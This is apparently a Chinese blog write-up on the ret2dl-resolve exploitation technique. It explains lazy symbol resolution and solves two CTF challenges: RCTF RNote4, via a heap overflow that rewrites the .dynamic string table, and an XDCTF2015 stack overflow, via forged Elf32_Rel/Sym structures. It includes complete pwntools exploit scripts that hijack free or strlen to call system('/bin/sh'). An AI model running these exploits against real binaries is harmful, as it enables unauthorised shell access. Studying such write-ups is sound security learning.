Pwn_ret2dl-resolve

权当给自己看的记录了，ret2dl-resolve有点难

分析

测试程序如下

1
2
3
4
5
6
7
#include <stdio.h>
int main()
{
    puts("Hello Pwn\n");
    return 0;
} 
//gcc -no-pie -z lazy test test.c -o test

got表plt表什么的就不提了，反正就看一下puts函数内部咋执行的

具体细节参考：https://bbs.pediy.com/thread-227034.html

我只不过是看一下64位是个什么情况，顺便加深一下理解

我们打断点到puts函数调用时的jmp处

在这里插入图片描述

可以看到resolve，这个函数的目的，是根据2个参数获取到导出函数（这里是puts）的地址，然后放到相应的GOT表，并且调用它，两个参数0，0x601008，先看一下0x601008

在这里插入图片描述

可以看到0x600e20，就是我们的_DYNAMIC的指针

至于我们一开始的push 0 是我们puts函数的索引，可以在如下看到的确是第一个

在这里插入图片描述

基本就是靠着索引拿到rel table的偏移量，然后移位操作，在sym table 拿到对应的符号表信息，然后再去对应的字符串表里再找出来，然后差这个函数的地址，放到got表里面去

大概就是这样的吧……

例题

跟着大神的思路做一遍RCTF的RNote4，一个堆题

这题还挺坑的，打开输啥反应都没有，只能直接分析，no relro，no pie，开始查找漏洞

各个函数的功能我们也只能自己猜，不过有以下calloc，free什么的稍微好猜些

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
unsigned __int64 edit()
{
  unsigned __int8 v1; // [rsp+Eh] [rbp-12h]
  unsigned __int8 size; // [rsp+Fh] [rbp-11h]
  _QWORD *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  v1 = 0;
  read_buf((__int64)&v1, 1u);
  if ( !note[v1] )
    exit(-1);
  v3 = note[v1];
  size = 0;
  read_buf((__int64)&size, 1u);
  read_buf(v3[1], size);     //overflow
  return __readfsqword(0x28u) ^ v4;
}

note一开始就在bss字段上，编辑的时候size也是我们说了算了，可以溢出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
unsigned __int64 add()
{
  unsigned __int8 size; // [rsp+Bh] [rbp-15h]
  int i; // [rsp+Ch] [rbp-14h]
  _QWORD *v3; // [rsp+10h] [rbp-10h]
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( number > 32 )                            // 最多33个note
    exit(-1);
  size = 0;
  v3 = calloc(0x10uLL, 1uLL);
  if ( !v3 )
    exit(-1);
  read_buf((__int64)&size, 1u);
  if ( !size )
    exit(-1);
  v3[1] = calloc(size, 1uLL);
  if ( !v3[1] )
    exit(-1);
  read_buf(v3[1], size);
  *v3 = size;
  for ( i = 0; i <= 31 && note[i]; ++i )
    ;
  note[i] = v3;
  ++number;
  return __readfsqword(0x28u) ^ v4;
}

可以分析一下结构体了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
struct note
{
    char size[number];
}
struct chunk
{
    int ptr;
}
struct ptr
{
    int size;
    int ptr2;   //value单独放在一个chunk中
}
struct ptr2
{
    char value;
}

在这里插入图片描述

我们创建两个chunk之后看一下也蛮清楚的

exp其实原文写的已经很清楚了，就跟着调试一波就好了，贴一下大神的exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
 
g_local=True
#e=ELF('./libc.so.6')
#context.log_level='debug'
if g_local:
    sh =process('./RNote4')#env={'LD_PRELOAD':'./libc.so.6'}
    gdb.attach(sh)
else:
    sh = remote("rnote4.2018.teamrois.cn", 6767)
 
def add(content):
    assert len(content) < 256
    sh.send("\x01")
    sh.send(chr(len(content)))
    sh.send(content)
 
def edit(idx, content):
    assert idx < 32 and len(content) < 256
    sh.send("\x02")
    sh.send(chr(idx))
    sh.send(chr(len(content)))
    sh.send(content)
 
def delete(idx):
    assert idx < 32
    sh.send("\x03")
    sh.send(chr(idx))
 
#伪造的字符串表，(0x457-0x3f8)刚好是"free\x00"字符串的偏移
payload = "C" * (0x457-0x3f8) + "system\x00"
#先新建两个notes
add("/bin/sh\x00" + "A" * 0x10)
add("/bin/sh\x00" + "B" * 0x10)
#溢出时尽量保证堆块不被破坏，不过这里不会再做堆的操作了其实也无所谓
edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x601EB0))
#将0x601EB0，即.dynamic的字符串表指针，写成0x6020C8
edit(1, p64(0x6020C8))
 
edit(0, "/bin/sh\x00" + "A" * 0x10 + p64(33) + p64(0x18) + p64(0x6020C8))
#在0x6020C8处写入伪造的字符串表
edit(1, payload)
 
#会第一次调用free，所以实际上是system("/bin/sh")被调用，如前面所说
delete(0)
sh.interactive()

我个人觉得这题最难的是分析吧，一开始，一方面是我堆接触的少，但是这个add note 之后chunk的嵌套我觉得还蛮坑的，以后看的多了应该就好了

这里后面的edit中的p64(33)+p64(0x18)只是为了尽可能的保持堆块不被破坏，维持add时的size大小，然后把数据改为了dynamic的字符串表指针

这样我们再编辑chunk1的时候，编辑的就是dynamic的字符串表指针了，如下

在这里插入图片描述

改成了bss字段上的数据，但是我们虽然可以控制bss字段上的数据，但是字段上的数据我们还没改，所以我们需要再overflow一次，来吧chunk1的数据改成我们可控的bss字段地址，然后再往里面写上我们的payload，然后就可以执行我们想要的了

这一切都是基于.dynamic可写，直接改string table 从而把写入got表的内容改为我们所需要的

例题2

可总有我们修改不了.dynamic，有时候一个简单的partial relro就足以让人感到头大

我们也都知道上文中那个0（puts）其实是我们的rel table 的参数，我们可以操纵第二个参数，使其指向我们所构造的Elf32_Rel

例题还是拿原博主的吧，写的真的很适合小白看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
int __cdecl main(int a1)
{
  size_t v1; // eax
  char buf[4]; // [esp+0h] [ebp-6Ch]
  char v4; // [esp+18h] [ebp-54h]
  int *v5; // [esp+64h] [ebp-8h]

  v5 = &a1;
  strcpy(buf, "Welcome to XDCTF2015~!\n");
  memset(&v4, 0, 0x4Cu);
  setbuf(stdout, buf);
  v1 = strlen(buf);
  write(1, buf, v1);
  read_overflow();
  return 0;
}

函数流程超级简单，就是一个栈溢出，没开canary保护，但是我们无法修改.dynamic

先直接上exp，慢慢调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
from pwn import *

g_local = True

ROP_SIZE = 20

LEAVE_RETN = 0x0804851D
BUFFER = 0x804AE50
NEXT_ROP = BUFFER - ROP_SIZE
READ_ADDR = 0x080483A0
STRLEN_GOT = 0x804A014

FAKE_SYM_ADDR = BUFFER + 8
SYMTAB_ADDR = 0x080481D8
SIZEOF_SYM = 0x10
FAKE_SYMTAB_IDX = (((FAKE_SYM_ADDR-SYMTAB_ADDR)/SIZEOF_SYM) << 8) + 7

STRTAB_ADDR = 0x08048278
SYSTEM_ADDR = BUFFER + 0x18
BIN_SH_ADDR = SYSTEM_ADDR + 7
FAKE_STR_OFF = SYSTEM_ADDR-STRTAB_ADDR

REL_ADDR = 0x8048330
FAKE_REL = BUFFER
FAKE_REL_OFF = FAKE_REL - REL_ADDR

DYN_RESOL_PLT = 0x08048380

#context.log_level='debug'
if g_local:
	sh = process('./32.out')#env={'LD_PRELOAD':'./libc.so.6'}
	gdb.attach(sh)
else:
	sh = None


payload1 = "A" * 108
payload1 += p32(NEXT_ROP)
payload1 += p32(READ_ADDR)
payload1 += p32(LEAVE_RETN)
payload1 += p32(0)
payload1 += p32(BUFFER - ROP_SIZE)
payload1 += p32(0x100)
payload1 += "P" * (0x100 - len(payload1))
sh.send(payload1)


#at BUFFER = 0x804A050

fake_Elf32_Rel = p32(STRLEN_GOT)
fake_Elf32_Rel += p32(FAKE_SYMTAB_IDX)


fake_Elf32_Sym = p32(FAKE_STR_OFF)
fake_Elf32_Sym += p32(0)
fake_Elf32_Sym += p32(0)
fake_Elf32_Sym += chr(0x12) + chr(0) + p16(0)

strings = "system\x00/bin/sh\x00\x00"

rop = p32(0)
rop += p32(DYN_RESOL_PLT)
rop += p32(FAKE_REL_OFF)
rop += "AAAA"
rop += p32(BIN_SH_ADDR)

payload2 = rop + fake_Elf32_Rel + fake_Elf32_Sym + strings

sh.send(payload2)

sh.interactive()
本文作者： xiaoyuyu
本文链接： http://woaixiaoyuyu.github.io/2019/02/18/Pwn-ret2dl-resolve/
版权声明： 本作品采用 知识共享署名-非商业性使用-相同方式共享 4.0 国际许可协议 进行许可。转载请注明出处！
赏

谢谢你请我吃糖果

扫一扫，分享到微信

微信分享二维码
本站总访问量次 本站访客数人

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

记录成长的点滴<br><br>涉猎颇广的信息技术爱好者<br>希望未来的xiaoyuyu<br>可以成为优秀的工程师